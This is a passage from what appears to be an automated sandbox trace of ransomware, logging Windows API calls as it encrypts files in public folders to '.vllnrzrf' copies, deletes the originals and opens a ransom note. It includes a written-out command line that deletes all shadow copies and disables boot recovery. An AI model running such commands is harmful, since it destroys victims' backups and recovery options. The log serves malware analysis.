ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.686] FindClose (in: hFindFile=0x1a5782a0 | out: hFindFile=0x1a5782a0) returned 1 [0142.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce1e2d0) returned 1 [0142.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce1e290) returned 1 [0142.688] CoUninitialize () Thread: id = 131 os_tid = 0x738 [0142.708] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0142.709] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1c0edf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0142.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee3c0) returned 1 [0142.709] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1c0edeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0142.709] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\", nBufferLength=0x105, lpBuffer=0x1c0ede50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\", lpFilePart=0x0) returned 0x29 [0142.709] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*.*", lpFindFileData=0x1c0ee060 | out: lpFindFileData=0x1c0ee060*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5782a0 [0142.710] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ee0b0 | out: lpFindFileData=0x1c0ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.710] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ee0b0 | out: lpFindFileData=0x1c0ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.710] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ee0b0 | out: lpFindFileData=0x1c0ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0142.710] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ee0b0 | out: lpFindFileData=0x1c0ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.711] FindClose (in: hFindFile=0x1a5782a0 | out: hFindFile=0x1a5782a0) returned 1 [0142.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee310) returned 1 [0142.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee2d0) returned 1 [0142.718] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", nBufferLength=0x105, lpBuffer=0x1c0eddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", lpFilePart=0x0) returned 0x46 [0142.718] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", nBufferLength=0x105, lpBuffer=0x1c0eddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", lpFilePart=0x0) returned 0x46 [0142.719] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", nBufferLength=0x105, lpBuffer=0x1c0eddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", lpFilePart=0x0) returned 0x46 [0142.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee2b0) returned 1 [0142.719] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x32c [0142.719] GetFileType (hFile=0x32c) returned 0x1 [0142.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee220) returned 1 [0142.719] GetFileType (hFile=0x32c) returned 0x1 [0142.719] GetFileSize (in: hFile=0x32c, lpFileSizeHigh=0x1c0ee448 | out: lpFileSizeHigh=0x1c0ee448*=0x0) returned 0x940000 [0142.746] ReadFile (in: hFile=0x32c, lpBuffer=0x12875f88, nNumberOfBytesToRead=0x940000, lpNumberOfBytesRead=0x1c0ee378, lpOverlapped=0x0 | out: lpBuffer=0x12875f88*, lpNumberOfBytesRead=0x1c0ee378*=0x940000, lpOverlapped=0x0) returned 1 [0143.654] CloseHandle (hObject=0x32c) returned 1 [0145.743] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0eddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.vllnrzrf", lpFilePart=0x0) returned 0x4f [0145.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee2b0) returned 1 [0145.743] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.vllnrzrf" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0145.744] GetFileType (hFile=0x4e8) returned 0x1 [0145.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee220) returned 1 [0145.744] GetFileType (hFile=0x4e8) returned 0x1 [0145.744] WriteFile (in: hFile=0x4e8, lpBuffer=0x14d76068*, nNumberOfBytesToWrite=0x940200, lpNumberOfBytesWritten=0x1c0ee3d8, lpOverlapped=0x0 | out: lpBuffer=0x14d76068*, lpNumberOfBytesWritten=0x1c0ee3d8*=0x940200, lpOverlapped=0x0) returned 1 [0146.010] CloseHandle (hObject=0x4e8) returned 1 [0146.356] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", nBufferLength=0x105, lpBuffer=0x1c0eddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", lpFilePart=0x0) returned 0x46 [0146.356] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", nBufferLength=0x105, lpBuffer=0x1c0edf70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", lpFilePart=0x0) returned 0x46 [0146.356] DeleteFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv")) returned 1 [0146.358] CoUninitialize () Thread: id = 134 os_tid = 0xa98 [0146.363] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0146.363] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1cdddcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0146.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdde120) returned 1 [0146.364] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1cdddc10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0146.364] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\", nBufferLength=0x105, lpBuffer=0x1cdddbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\", lpFilePart=0x0) returned 0x17 [0146.364] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x1cddddc0 | out: lpFindFileData=0x1cddddc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bb82f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5782a0 [0146.364] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1cddde10 | out: lpFindFileData=0x1cddde10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bb82f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.364] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1cddde10 | out: lpFindFileData=0x1cddde10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.364] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1cddde10 | out: lpFindFileData=0x1cddde10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0146.365] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1cddde10 | out: lpFindFileData=0x1cddde10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9bb82f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bde450, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0146.365] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1cddde10 | out: lpFindFileData=0x1cddde10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.365] FindClose (in: hFindFile=0x1a5782a0 | out: hFindFile=0x1a5782a0) returned 1 [0146.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdde070) returned 1 [0146.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdde030) returned 1 [0146.368] CoUninitialize () Thread: id = 135 os_tid = 0x820 [0146.372] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0146.372] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1c0ae220, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0146.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae680) returned 1 [0146.372] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1c0ae170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0146.372] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\", nBufferLength=0x105, lpBuffer=0x1c0ae110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\", lpFilePart=0x0) returned 0x25 [0146.372] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x1c0ae320 | out: lpFindFileData=0x1c0ae320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5782a0 [0146.373] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ae370 | out: lpFindFileData=0x1c0ae370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.373] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ae370 | out: lpFindFileData=0x1c0ae370*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.373] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ae370 | out: lpFindFileData=0x1c0ae370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0146.373] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1c0ae370 | out: lpFindFileData=0x1c0ae370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.373] FindClose (in: hFindFile=0x1a5782a0 | out: hFindFile=0x1a5782a0) returned 1 [0146.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae5d0) returned 1 [0146.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae590) returned 1 [0146.375] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0146.375] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0146.376] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0146.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae570) returned 1 [0146.376] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x524 [0146.376] GetFileType (hFile=0x524) returned 0x1 [0146.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae4e0) returned 1 [0146.376] GetFileType (hFile=0x524) returned 0x1 [0146.376] GetFileSize (in: hFile=0x524, lpFileSizeHigh=0x1c0ae708 | out: lpFileSizeHigh=0x1c0ae708*=0x0) returned 0x1907b8a [0146.952] ReadFile (in: hFile=0x524, lpBuffer=0x1223bc60, nNumberOfBytesToRead=0x1907b8a, lpNumberOfBytesRead=0x1c0ae638, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesRead=0x1c0ae638*=0x1907b8a, lpOverlapped=0x0) returned 1 [0152.309] CloseHandle (hObject=0x524) returned 1 [0154.155] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.vllnrzrf", lpFilePart=0x0) returned 0x3a [0154.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae570) returned 1 [0154.155] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.vllnrzrf" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x330 [0154.190] GetFileType (hFile=0x330) returned 0x1 [0154.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae4e0) returned 1 [0154.191] GetFileType (hFile=0x330) returned 0x1 [0154.191] WriteFile (in: hFile=0x330, lpBuffer=0x1e538bf8*, nNumberOfBytesToWrite=0x1907d8a, lpNumberOfBytesWritten=0x1c0ae698, lpOverlapped=0x0 | out: lpBuffer=0x1e538bf8*, lpNumberOfBytesWritten=0x1c0ae698*=0x1907d8a, lpOverlapped=0x0) returned 1 [0154.867] CloseHandle (hObject=0x330) returned 1 [0155.189] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x1c0ae090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0155.189] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x1c0ae230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0155.189] DeleteFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv")) returned 1 [0155.192] CoUninitialize () Thread: id = 136 os_tid = 0x86c [0162.130] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0162.131] ShellExecuteExW (in: pExecInfo=0x222fb08*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x222fb08*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x504)) returned 1 [0162.271] CoGetContextToken (in: pToken=0x1c1ceb40 | out: pToken=0x1c1ceb40) returned 0x0 [0162.272] CoUninitialize () Thread: id = 137 os_tid = 0x6f0 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x66610000" os_pid = "0x3b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7b0" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet & C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No & C:\\Windows\\System32\\bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x490 [0079.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fa30 | out: lpSystemTimeAsFileTime=0x16fa30*(dwLowDateTime=0xa0650010, dwHighDateTime=0x1d60166)) [0079.524] GetCurrentProcessId () returned 0x3b4 [0079.524] GetCurrentThreadId () returned 0x490 [0079.524] GetTickCount () returned 0x114a6bb [0079.525] QueryPerformanceCounter (in: lpPerformanceCount=0x16fa38 | out: lpPerformanceCount=0x16fa38*=19949926303) returned 1 [0079.526] GetModuleHandleW (lpModuleName=0x0) returned 0x49d40000 [0079.526] __set_app_type (_Type=0x1) [0079.526] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49d67810) returned 0x0 [0079.526] __getmainargs (in: _Argc=0x49d8a608, _Argv=0x49d8a618, _Env=0x49d8a610, _DoWildCard=0, _StartInfo=0x49d6e0f4 | out: _Argc=0x49d8a608, _Argv=0x49d8a618, _Env=0x49d8a610) returned 0 [0079.527] GetCurrentThreadId () returned 0x490 [0079.527] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x490) returned 0x3c [0079.529] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0079.529] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0079.529] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.530] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.530] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f9c8 | out: phkResult=0x16f9c8*=0x0) returned 0x2 [0079.530] VirtualQuery (in: lpAddress=0x16f9b0, lpBuffer=0x16f930, dwLength=0x30 | out: lpBuffer=0x16f930*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.530] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16f930, dwLength=0x30 | out: lpBuffer=0x16f930*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.530] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16f930, dwLength=0x30 | out: lpBuffer=0x16f930*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.530] VirtualQuery (in: lpAddress=0x74000, lpBuffer=0x16f930, dwLength=0x30 | out: lpBuffer=0x16f930*(BaseAddress=0x74000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.530] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16f930, dwLength=0x30 | out: lpBuffer=0x16f930*(BaseAddress=0x170000, 